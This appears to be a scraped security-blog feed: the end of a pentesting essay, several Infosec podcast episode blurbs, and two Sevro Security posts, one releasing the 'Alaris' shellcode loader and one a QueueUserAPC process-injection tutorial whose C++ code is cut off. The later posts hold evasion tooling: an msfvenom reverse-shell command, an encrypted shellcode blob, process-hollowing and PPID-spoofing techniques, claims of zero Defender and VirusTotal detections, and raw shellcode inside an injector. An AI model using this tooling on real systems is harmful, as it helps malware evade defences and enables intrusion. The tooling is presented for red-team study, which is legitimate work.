I’ve also regularly been asked the question “What solution can we buy to protect against this or prevent that?”. But in most cases, it is a lot better to properly setup and configure a system which is already in place (such as Windows and Active Directory for example) rather than acquire a new solution that will just increase the overall attack surface. Security products can include security vulnerabilities, as has been demonstrated numerous times.

EDR solutions or “next-generation” anti-viruses are all the rage right now, promising to detect malicious payloads and behaviours. Even though they definitely provide an additional hurdle for intruders, a skilled attacker will probably always be able to circumvent the solution, with techniques such as the ones discussed by my colleague @plowsec here and here. Again, relying on a specific security solution rather than applying defense in depth techniques is not the way to go.

What’s next?

Supposing all companies apply the protections discussed above such that NTLM relaying is no longer possible, credentials are protected in memory and domain admin accounts cannot be compromised any more. How will pentests evolve? I’m pretty sure this will depend on new quality tools being developed and released, as the ones discussed in this post have shaped the way pentests are performed now.

One thing that is important to note is that domain administrator accounts are not actually all that useful in a targeted attack. During pentests they are always seen as the main objective because they essentially grant access to everything in an organisation, but a real attacker does not need access to everything. If appropriately targeted, a single non-administrator account can be sufficient to gain access to a specific piece of information. Figuring out which account has that specific access and where it might be compromised will be all the more important.

If we imagine that credentials cannot be compromised in-memory any more, I believe attackers will resort to older techniques such as key logging or even just phishing to get a victim’s credentials. This however assumes that passwords will remain as the main authentication factor. Hopefully this won’t be the case, but currently it looks like there is still some time ahead of us before they are replaced by something better.

As to how access to a workstation or server is gained in the first place, I’m confident new techniques and vulnerabilities will arise, be they within Windows or other third party solutions that are used by all and updated much less frequently. Backup or automation solutions seem like strong contenders. However, if companies decide to apply appropriate firewaling rules, these vulnerabilities may never actually be exploited, and attackers may have to rely only on compromised accounts to achieve their purposes, meaning that appropriately managing privileges will remain extremely important.

I’m obviously not a psychic and have no idea what will really happen, but if any of the information in this post can help someone better prepare against current (or future?) attack techniques, it will have served some purpose!

The 5 pillars of cybersecurity framework | Guest Mathieu Gorge

By: Infosec
28 December 2020 at 08:00

Help your C-suite get serious about cybersecurity with today’s episode, featuring Mathieu Gorge. Using his Five Pillars of Security Framework and his book, The Cyber Elephant in the Boardroom, Mathieu takes complex, confusing regulatory frameworks and maps them in a language that non tech-fluent board members can understand. 

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Mathieu Gorge is the author of the new ForbesBooks release, The Cyber Elephant in the Boardroom: Cyber-Accountability with the Five Pillars of Security Framework. He is also the CEO and founder of VigiTrust, a cybersecurity company with clients in 120 countries. Mathieu has over 20 years of IT security and risk management experience and is much-sought after for his expertise. As an authority on cybersecurity solutions, he has been asked to speak at conferences including RSA, ISSA and ISACA. 

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

💾

SolarWinds breach: Insights from the trenches | Guest Keatron Evans | Bonus incident response walkthroughs in description

By: Infosec
21 December 2020 at 08:00

It’s been a busy week for cybersecurity professionals as they respond to the SolarWinds breach. On December 13, the Cybersecurity and Infrastructure Security Agency (CISA) issued an emergency directive to immediately “disconnect or power down SolarWinds Orion products" as they were being actively exploited by malicious actors.

Infosec Skills author and KM Cyber Security managing partner Keatron Evans is helping numerous clients respond to the breach. In this live discussion and incident response demo (recorded Friday, December 18) he covers:

– What happened with the SolarWinds supply chain attack
– Immediate action you can take to protect your systems
– Industry responses to help mitigate the incident
– Live demo of Snort, memory forensics and Zeek
– Q&A with live attendees

Live walkthroughs from Keatron can be found here:
– Full video presentation: https://www.youtube.com/watch?v=5lc4HtmEYl4
– 10-minute Snort demo for SolarWinds and Sunburst incident response: https://www.youtube.com/watch?v=wG8dLV-LZwY
– 10-minute memory forensics demo of SolarWinds and Sunburst: https://www.youtube.com/watch?v=uLGLCv1Cu6A

Additional resources discussed by Keatron:
– FireEye Mandiant SunBurst countermeasures: https://github.com/fireeye/sunburst_countermeasures
– McAfee analysis into the Sunburst backdoor: https://www.mcafee.com/blogs/other-blogs/mcafee-labs/additional-analysis-into-the-sunburst-backdoor/
– Keatron's free Cyber Work Applied training videos: https://www.infosecinstitute.com/learn/
– Keatron's Infosec Skills courses: https://www.infosecinstitute.com/authors/keatron-evans/

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with  skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

💾

Hiring a ransomware negotiator: Tactics, tips and careers | Guest Kurtis Minder

By: Infosec
14 December 2020 at 08:00

Ever thought of hiring a ransomware negotiator, or becoming one yourself? On today’s episode, Kurtis Minder of GroupSense tells us what makes a good ransomware negotiator, why setting the right tone is crucial in a successful negotiation and why, in the right situation, you can get away with referring to a ransomer as “grasshopper.” 

We’re also excited to announce a new, hands-on training series called Cyber Work Applied. Every week, expert Infosec instructors and industry practitioners teach you a new cybersecurity skill and show you how that skill applies to real-world scenarios. You’ll learn how to carry out different cyberattacks, practice using common cybersecurity tools, follow along with walkthroughs of how major breaches occurred, and more. And it's free! Check out the link below to start learning.

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

As the CEO and co-founder of GroupSense, Kurtis Minder leads a team of world-class analysts and technologists providing custom cybersecurity intelligence to some of the globe’s top brands. The company’s analysts conduct cyber research and reconnaissance and map the threats to client risk profiles. Kurtis arrived at GroupSense after more than 20 years in roles spanning operations, design and business development at companies like Mirage Networks (acquired by Trustwave), Caymas Systems (acquired by Citrix) and Fortinet (IPO).

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

💾

Vulnerability hunting and ecommerce safety | Guest Ted Harrington

By: Infosec
7 December 2020 at 08:00

Let’s talk about the practice of finding vulnerabilities! For Ted Harrington, Executive Partner of ISE, it’s much more than a job, it’s a life mission. Ted joins the Cyber Work Podcast to discuss being part of the first team to hack the iPhone, as well as thinking like a hacker to avoid being hacked yourself. He also gives advice for people who would rather sell their wares online this holiday season than spend all day thinking about security. The world has been moving in the direction of holiday shopping online for quite some time now, but with things being what they are in 2020, that trend is likely to grow exponentially upward as stores become either closed to the public or only open to a few people at a time for safety. Either way, that means a lot of online transactions, and a lot of juicy targets for cybercriminals.

– Get Ted's book, "Hackable: How to do application security right": https://hackablebook.com
– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Ted Harrington, Executive Partner at ISE is finding new ways to protect digital assets. He's helped companies like Disney, Amazon, Google, Netflix and Adobe fix tens of thousands of security vulnerabilities. His team at ISE is composed of ethical hackers known for being the first to hack the iPhone, where he applies his think-like-a-hacker mentality to constantly adapt to fresh security and software development challenges.

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

💾

Securing Apple devices: Managing growing cyberattacks and risk | Guest Kelli Conlin

By: Infosec
30 November 2020 at 08:00

Dive into all things Apple security with today’s guest, Kelli Conlin, Security Solutions Specialist at Jamf. Learn about securing devices across multiple operating systems, the hidden-in-plain-sight Apple security Bible, and why Kelli’s mom isn’t allowed to use the 15-year-old Mac laptop Kelli is still hanging on to after all these years.

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Kelli Conlin is a Security Solutions Specialist at Jamf focused on helping organizations be more secure with Apple. Prior to joining Jamf, Kelli was an Intelligence Analyst in the U.S. Air Force supporting special operations before starting an IT career path. Kelli currently lives in Tampa, FL with her husband, son, two cats and a miserable husky.

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

💾

Privileged access management and work-from-home tips | Guest Terence Jackson

By: Infosec
23 November 2020 at 08:00

Today we’re talking cloud security and work-from-home. If you’ve ever checked your work email on your personal phone – I know you have, because we’ve all done it! – or touched up some time-sensitive spreadsheets on the same ipad your kids use to play Animal Crossing, Terence Jackson, Chief Information Security & Privacy Officer of Thycotic, is going to tell you how to tighten up your security protocols to ensure that work-from-home doesn’t become breach-from-home!

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

With more than 17 years of public and private sector IT and security experience, Terence Jackson is responsible for protecting the company’s information assets. In his role, he currently leads a corporate-wide information risk management program. He identifies, evaluates and reports on information security practices, controls and risks in order to comply with regulatory requirements and to align with the risk posture of the enterprise. Prior to joining Thycotic, Terence was the Director of Cybersecurity and Professional Services for TSI, a Virginia based Inc. 5000 company. He has also worked as a Senior Security Consultant for Clango, Inc., a top Identity and Access Management (IAM) consultancy. He was featured in and also was a contributor to the book “Tribe of Hackers.”

About Infosec

Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

💾

Ask us anything: Security awareness, behavior and culture (part 2) | Infosec Inspire 2020

By: Infosec
21 November 2020 at 08:00

The final episode in our two-week long daily series includes four guests from the past two podcasts: David Hansen, Senior Analyst, Corporate IT Security & Compliance for Brookfield Renewable; Dan Teitsma, Information Security Specialist/Program Manager for Amway; Donna Gomez, Security Risk & Compliance Analyst for Johnson County Government in the State of Kansas; and Tomm Larson, Cyber Security Awareness Lead at Idaho National Laboratory. Our guests, along with moderator Tyler Schultz, answered questions that were sent in live during our virtual Infosec Inspire conference in September, including topics like the changes in awareness strategies in the face of mass work-from-home scenarios due to COVID, key traits to look for when hiring security awareness storytellers, and more.

Thanks for joining us for this 12-episode series. We’ll return on Monday with our normal weekly episodes.

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

💾

Collaboration and cultural relevance: Taking security awareness global | Infosec Inspire 2020

By: Infosec
20 November 2020 at 08:00

The old saying goes, it takes a village to raise a child. In the case of Brookfield Renewable’s Senior Analyst David Hansen and Amway’s Information Security Specialist Dan Teitsma, their village is global. It takes a collaborative network of peers to plan and manage a worldwide security awareness and training program. If that sounds daunting, let Dan and David walk you through their blueprints for getting buy-in from stakeholders and designing feedback loops that allow them to tailor their programs to be culturally relevant and appropriate to employees.

For twelve days in November, Cyber Work will be releasing a new episode every single day. In these dozen episodes, we’ll discuss career strategies, hiring best practices, team development, security awareness essentials, the importance of storytelling in cybersecurity, and answer some questions from real cybersecurity professionals and newcomers.

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

💾

Influencing security mindsets and culture | Infosec Inspire 2020

By: Infosec
19 November 2020 at 08:00

Communication, creativity and empathy are crucial in shifting from what we call a “have-to” security mindset (i.e., “I have to take this precaution because IT said so”) to a “want-to” mindset, which suggests employee buy-in to a company’s security policy beyond simply ticking off a to-do box or watching a training video. In today’s episode, Donna Gomez, Security Risk and Compliance Analyst for Johnson County Government in the State of Kansas, and Tomm Larson, Cyber Security Awareness Lead at Idaho National Laboratory, share security awareness and training strategies for putting learner experiences first, engaging employees and building your team with the right blend of talents to foster a strong security culture.

For twelve days in November, Cyber Work will be releasing a new episode every single day. In these dozen episodes, we’ll discuss career strategies, hiring best practices, team development, security awareness essentials, the importance of storytelling in cybersecurity, and answer some questions from real cybersecurity professionals and newcomers.

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

💾

Ask us anything: Security awareness, behavior and culture (part 1) | Infosec Inspire 2020

By: Infosec
18 November 2020 at 08:00

In today’s episode, two guests from our September Infosec Inspire event answer all questions related to security awareness. Keynote speaker Jinan Budge, Principal Security and Risk Analyst at Forrester, and Bruce Hallas of the “Rethinking the Human Factor” podcast took questions from our virtual audience, including where to focus your time and budget in educating your staff at times other than Security Awareness Month, picking employees to be security champions, and maturing your organization’s security culture.

For twelve days in November, Cyber Work will be releasing a new episode every single day. In these dozen episodes, we’ll discuss career strategies, hiring best practices, team development, security awareness essentials, the importance of storytelling in cybersecurity, and answer some questions from real cybersecurity professionals and newcomers.

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

💾

Alaris | A Protective Loader

By: Joshua
14 October 2020 at 23:35

Sevro Security
Alaris | A Protective Loader

To date, we’ve reviewed techniques such as shellcode loading and encryption, circumventing detection, and building in our own syscalls.

Today, I’m releasing Alaris, a new shellcode loader that will utilize many of the previous techniques discussed within this blog as well as add a few new ones. We’re going to use known and widely used tactics that I, and many other Red Teams, have been using for a while. The best documentation (easiest to digest and implement) on many of these TTPs is available on ired.team. I will include documentation/links everywhere in this post.

The primary goal of this loader is proactive protection and self-sufficiency. I want to rely mostly on the code we write for the heavy (malicious) lifting. With that said, I am still going to use extraordinarily helpful libraries such as windows.h and vectors. However, the more self-sufficient we become and the lower we execute our code, the less noise we make and that’s a damn good thing as seen within the detection portion of this post.


Overview

In efforts to help mitigate any issues on your end, here are my development environment specifics.

  • System: Windows 10 (Build 17763)
  • IDE: Visual Studio 2019
  • Language: C, C++, x86 ASM (VS19 Project is Visual C++)
    • Loader.cpp – Shellcode Loader
    • Cryptor.cpp – Shellcode Encryption

Alaris is a shellcode loading application utilizing the Process Hollowing technique. There are going to be two (2) distinct processes that we’ll start and analyze. In the graphic below I detail both of the processes where Red is the loader process and Green is the hollowed (child) process.

  1. The Parent Process [loader.exe]: This is the process that is going to decode, decrypt, and add the shellcode to a hollowed process.
    1. Shellcode decryption via aes.c (AES -CBC 256)
    2. Shellcode decoding via base64.cpp
    3. Direct x86 Syscalls via low.asm (Thanks to SysWhipers) using NtQueueApcThread()to add shellcode.
    4. Disallow non-Microsoft signed DLL’s from injecting into process.

  2. The Hollowed (Child) Process [mobsync.exe]:The CreateProcess()Child process. We’re using mobsync.exe here but there are many different executables you can use.
    1. Disallow non-Microsoft signed DLL’s from injecting into process.
    2. Parent Process ID spoofing to explorer.exe

Protecting Our Malware

There are several tactics we’re using to not only protect our initial execution but also our child (hollowed) process. Let’s go through each of them at a pretty high level.

Shellcode Encryption

Within this loader is an embedded AES (128, 192, 256) (ECB, CTR, CBC) implementation. Not relying on Windows Crypto API’s or known libraries, such as Crypto++, helps limit our noise and overall footprint.

We’re encrypting our shellcode with AES-CBC 256. The key and iv live in the code and are not obfuscated, encoded, etc. The primary purpose of encrypting our shellcode is to defeat static signature based detection (i.e., \xFC\xE8, \xFC\x48). We’re not going to bypass entropy detection or the good job Windows Defender does at analyzing large Base64 blobs with high entropy. However, if we used a staged payload or a small payload, we can circumvent most EDR systems simply by encrypting our shellcode.

All Shellcode encryption is done via Cryptor.exe which, is part of the Visual Studio project.

Direct x86 Syscalls

Direct Syscalls allow us to mitigate using ntdll.dll for a large majority of the process hollowing. We’re executing the syscalls ourselves via x86 assembly located in low.asm and as such, we’re staying quieter and executing our code at a lower level. This significantly decreases the likelihood of detection.

I’ve gone pretty deep into direct x86 Syscalls for Process Injection using both CreateRemoteThread() and QueueUserAPC() in these two posts:

  1. Process Injection Part 1 | CreateRemoteThread()
  2. Process Injection Part 2 | QueueUserAPC()

Preventing 3rd Party DLLs from Injecting into your Malware

We’re blocking all non-Microsoft DLL’s (i.e.,DLL’s that have not been signed my Microsoft) from hooking/injecting into our process (Both the Parent and Child). Keep in mind, there are a few EDR solutions out there that have co-signed drivers (Company + Microsoft). To get a better understanding on how this works and why, I would suggest reading iread.team’s write up.

// Disallow non-microsoft signed DLL's from hooking/injecting into our CreateProcess():
InitializeProcThreadAttributeList(si.lpAttributeList, 2, 0, &size);
DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &policy, sizeof(policy), NULL, NULL);
// Disallow non-MSFT signed DLL's from injecting
PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY sp = {};
sp.MicrosoftSignedOnly = 1;
SetProcessMitigationPolicy(ProcessSignaturePolicy, &sp, sizeof(sp));

PPID Spoofing

We’re spoofing the parent process ID of our child process (hollowed process). We want to make it look like this process was spawned organically (explorer.exe -> mobsync.exe) rather than the true path of execution (loader.exe -> mobsync.exe).

This is a fairly simple technique that I find is more fun for the Blue Team to find than it is really helping me to be sneaky. However, it’s still a bit sneaky considering at first glance, it does look like our execution path is not suspect and may blow past the radar of some teams.

Overwrite Shellcode

This is not full proof and will not stop many Blue Teams from dumping your shellcode if they get a hold of your binary. This is simply a cleanup method to remove your shellcode from memory as good measure.


Alaris Build & Execution

Let’s walk through the build and execution path from start to shell. I’ve generated a simple reverse shell with msfvenom: msfvenom -p windows/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 -f raw >> 64b_443_localhost_revshell.bin

Building

  1. Included in this package is a cryptor. To encrypt, simply build the Visual Studio project as-is and execute cryptor.exe with the path of a raw (binary) shellcode file.
λ cryptor.exe
Usage:  cryptor.exe <payload.bin>
Example cryptor.exe C:\Users\admin\shellcode.bin

λ cryptor.exe ..\..\..\test\64b_443_localhost_revshell.bin
[i] Replace shellcode string in loader with one below:

shellcode = "z33lrIYAG7pcIAZfrX7cRKLyNwr1w+zD1pSGQXA/0emhQBn2C1z5SjOjyGu5FL2Wrq3xADX+MDyaZs/F8BIBXcqPK1TFdESehzl8uO8+NT+Mda0BjZSGUcd0qs3PO4klwSOhSDrlTUhjCe9+7QoaFc8g0yTIGiAP674VA6URsKd9y0szNTBgSgn/L6gB2WpfGQ4UBaHGDiQ8GwrzedHh/eTbhZtS2/9HEoVqkoAqG2gts1rWt4ckzvEJRM8v4zJxLzMEtNnf3e9TBaG1CNfWCWg+SPIfW2L6SLUA16EadwwSihhKk84KGQyTEgQ9Ue1/VMt30TREUC46P3IvidPVG6LgIQs5pHXYEPPBBV2vCufLCQ3F6ChFwMhZJvzRF/30P6+POoyFAMHvwSrebSGiliwWgrqcAvRPuWxcu3T5DdqEXoDzESk75W8n4kGZWI3cgiVvDpTt3vFST2gdW7j2ri75T0P5Ut1HWAxGr75ir68RX4HB8Mli78eP6UcLuFHULrz5W0tpA3yyefUapF7mK+gGbuFZ6pyLRrkG2XWLmo1Ji1/2yGzuHQ0Q4HacssCuN/peqkKbm++unMiu/D3lGlH2KGdCBhBEubVULKFFvZ0=";
  1. Replace the shellcode variable in the main function of loader.cpp with the new shellcode variable generated by cryptor.exe
  2. Build a Release version.

Execution

I’m using Process Hacker to review both the Parent and Child (hollowed) processes. Let’s fist take a look at the Parent process attributes.

The image below shows details of the loader.exe process. We can verify that our DLL Signature requirement, which disallows all non-Microsoft signed DLL’s from injecting into our process, is enabled.

Moving into the mobsync.exe process generated by our CreateProcess() call we can verify that the PPID is in-fact explorer.exe due to our spoofing and we have 3rd party DLL injection blocking similar to loader.exe.


EDR Bypass and Detection Analysis

I generated two (2) Alaris loaders with different MSFVenom payloads:

  1. loader_rev.exe – Compiled with a reverse shell (127.0.0.1:443)
  2. loader_notepad.exe – Compiled with shellcode that executes notepad.exe

Sysmon Events

Sysmon generated five (5) events during loader_rev.exe execution. We do not see suspect process injection events due to us using NtQueueUserAPC(). If we were to use NtCreateRemoteThread(), we would see a Sysmon Event Type 8.

There are two (2) process creates. One for Loader and the other for modsync.exe executing the shellcode.

The interesting thing here is that the second Process Create does not explicitly call out mobsync.exe being executed. Instead, it detailed mobsync.exe as being the parent process and shows the shellcode executed via cmd within the CommandLine field. This must be a byproduct of the process hollowing but, I am not 100% on why just yet.

Bypassing Defender

Executing loader_notepad.exe on a updated and fully patched Windows 10 system did not result in any detection’s from Defender. The results were identical with loader_rev.exe.

Virus Total

I tested both versions of Alaris against Virus Total to get a better idea on the overall detection / suspect percentage and did not have any. This is possibly a symptom of not having common indicators such as a URI string or an IP address (other than 127.0.0.1) embedded in either the shellcode or the source.


Detection

Alaris

Tactics


Conclusion

The TTPs used within Alaris are common among Red Teams and used within several C2 frameworks (Cobalt Strike for example). Alaris is a simple and small example of how you can customize these tactics to circumvent several different detection mechanisms as well as make your code look more “legitimate” in the context of Microsoft applications.

 

Alaris | A Protective Loader
Joshua

Process Injection Part 2 | QueueUserAPC()

By: Joshua
13 April 2020 at 18:09

Sevro Security
Process Injection Part 2 | QueueUserAPC()

In the first process injection post, we talked about CreateRemoteThread() which, is the vanilla method of process injection that most threat actors use considering its simplicity and reliability. Today we’re going to look at QueueUserAPC which takes advantage of the asynchronous procedure call to queue a specific thread. This API has several benefits in which the most appreciated is its ability to circumvent Sysmon.

This post will be broken down into four (4) parts:

  • Process Injection Primer – Subject to the injection technique, we will review how this type of injection works programmatically.
  • Analyze High Level Windows API Calls – Use the MSDN Documented methods and functions.
    • API Call Analysis
    • Sysmon events and logging
  • Analyze Medium Level Windows Syscalls Using LoadLibrary – Use the NTAPI Undocumented functions via ntdll.dll
    • API Call Analysis
    • Sysmon events and logging
  • Analyze Low Level Windows Syscalls Using x86 Assembly – Custom via Rolling Our Own Syscalls 🔥
    • API Call Analysis
    • Sysmon events and logging

In concerns with the Sysmon Analysis, I am using same Sysmon Config as part 1 with one slight adjustment. Considering QueueUserAPC() will bypass Sysmon detection, I have expanded the Processes Accessed (Event ID 10) parameters based off of ion-storm’s configuration. With this event, we can detail the specifics of the injection without actually seeing an event (correlational).

Before we go any deeper, let me define what I mean when I say High, Medium, and Low level API’s:

  • High-Level API – This is the MSDN (proper/safe) method of execution. In other words, if you were a developer, and you needed to use these functions legitimately, you would use the MSDN documentation to accomplish your goal. These functions are High-Level because they are translated by the OS to Medium/Low level functions and instructions. This is done for several reasons the most important of which is ease of development.
  • Medium-Level API – The OS maps High-Level API calls to Lower-Level API Calls (which in the context of this post we’re calling medium-level). For our purposes, a large majority of those calls live within ntdll.dll and kernel32.dll. We get the “Medium-Level” by cutting out the middle man (The OS) and calling the Low-Level API Calls ourselves. The reason I call it Medium is that we are still using dlls that live on the Windows OS and when we map and call functions from those dlls the OS, and other system monitoring software, can still see those calls.
  • Low-Level API – The “Low-Level” is defined by rolling our own everything! We do not use ntdll.dll or kernel32.dll to accomplish our process injection (i.e., we do not map any functions). In this case, we have a custom x86 assembly file (custom.asm) and a corresponding header file (custom.h). These files map direct syscall functions in order to circumvent both the High and Medium level API’s (essentially). Regarding the process injection, we do not load external resources or rely on any OS translation, we do it ourselves.

All source code is written in C++ or x86 ASM. For continuity, I will be compiling all my builds for x64 bit architectures.


Reference Material

  • NTAPI Undocumented Functions for all Low-Level API Calls.
    • NtSuspendThread
    • NtAllocateVirtualMemory
    • NtWriteVirtualMemory
    • NtQueueApcThread
    • NtResumeThread
  • Tools
    • Sysmon: For the Sysmon Analysis portion, I am using SwiftOnSecurity’s Sysmon Configuration for basic analysis. This is a great Starter configuration that should be amended/changed to meet your organizations threat model/need. A good example as to what can be done with Swift’s stock configuration is one that ion-storm developed.
    • API Monitor: We look use this tool to review the true API calls for all levels of API’s.
    • Process Hacker: A great to for analyzing processes in general.
    • Procmon: Similar to Process Hacker but with some more advanced features such as determining API calls from user to kernel land.
    • SysWhispers: @Jackson_T’s python tool that generates x86 ASM that can be directly imported into your C++ Project.

Process Injection Primer

QueueUserAPC is an Asynchronous Procedure Call. Let’s break down what the means:

  • Asynchronous – not simultaneous or concurrent in time.
  • Procedure Call – The details of a specific, singular, procedure. In our example, it’s the shellcode that will execute notepad.exe.

This means a few things. First, since it’s asynchronous we need to be able to pause/suspend the thread that is going to execute our shellcode (i.e., we cannot have the thread running when we give it a procedure). Second, we need to open the thread (OpenThread()) and assign it a procedure. Last, we need to resume the thread to obtain code execution.

In the examples to follow, I generate a nslookup.exe process in the C++ code to which I then inject the shellcode into. However, an attacker may want to be more dynamic with their injection. There are really three ways to go about QueueUserAPC Injection:

  1. Start a suspended process (CreateProcess()), inject into it, resume threads.
  2. Have a predefined process name (such as explorer.exe) that we know is going to be running on system, enumerate processes for PID’s, enumerate the threads of the selected PID, suspend the threads, inject shellcode, resume threads.
    1. I have provided an example below within the Real World Example section.
  3. Have a list/array of predefined process names that the code will enumerate if said process is running, enumerate processes for PID’s, enumerate the threads of the selected PID, suspend the threads, inject shellcode, resume threads.

VirtualAllocEx() → WriteProcessMemory()

Just like CreateRemoteThread(), we allocate memory in the external processes’ memory space and write our shellcode to that newly allocated space.

QueueUserAPC() Process Injection - writing memory

SuspendThread()

NOTE: In the examples to come, I create a process in a Suspended state however, if you have selected an already running process you will have to manually enumerate the Threads associated with the process and suspend the threads you are going to inject into. I say this because you will not see the OpenProcess() or SuspendThread() API call in my code.

Once a process has been selected and you have the thread id’s, you can suspend all or a single thread with the SuspendThread() API call. In a debugger, I have generated a nslookup.exe process in a suspended state. We can look at the process in Process Hacker to verify that our thread is in-fact suspended.

QueueUserAPC() Process Injection - suspending threads

QueueUserAPC() → ResumeThread()

We assign the procedure call (execute the shellcode) to the nslookup.exe suspended thread via QueueUserAPC() API. Next, we resume the thread to move the threads state from Wait:Suspended to Running. Once the thread starts, it will execute the procedure call (our shellcode) and terminate itself.


High Level API

#include <iostream>
#include <Windows.h>

int main()
{
    // msfvenom -p windows/x64/exec CMD=notepad.exe -f c
    unsigned char shellcode[] =
        "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
        "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
        "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
        "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
        "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
        "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
        "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
        "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
        "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
        "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
        "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
        "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
        "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
        "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
        "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
        "\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
        "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
        "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x6e\x6f\x74"
        "\x65\x70\x61\x64\x2e\x65\x78\x65\x00";

    // Create a 64-bit process: 
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    LPVOID allocation_start;
    SIZE_T allocation_size = sizeof(shellcode);
    LPCWSTR cmd;
    HANDLE hProcess, hThread;
    NTSTATUS status;

    ZeroMemory(&si, sizeof(si));
    ZeroMemory(&pi, sizeof(pi));
    si.cb = sizeof(si);
    cmd = TEXT("C:\\Windows\\System32\\nslookup.exe");

    if (!CreateProcess(
        cmd,							// Executable
        NULL,							// Command line
        NULL,							// Process handle not inheritable
        NULL,							// Thread handle not inheritable
        FALSE,							// Set handle inheritance to FALSE 
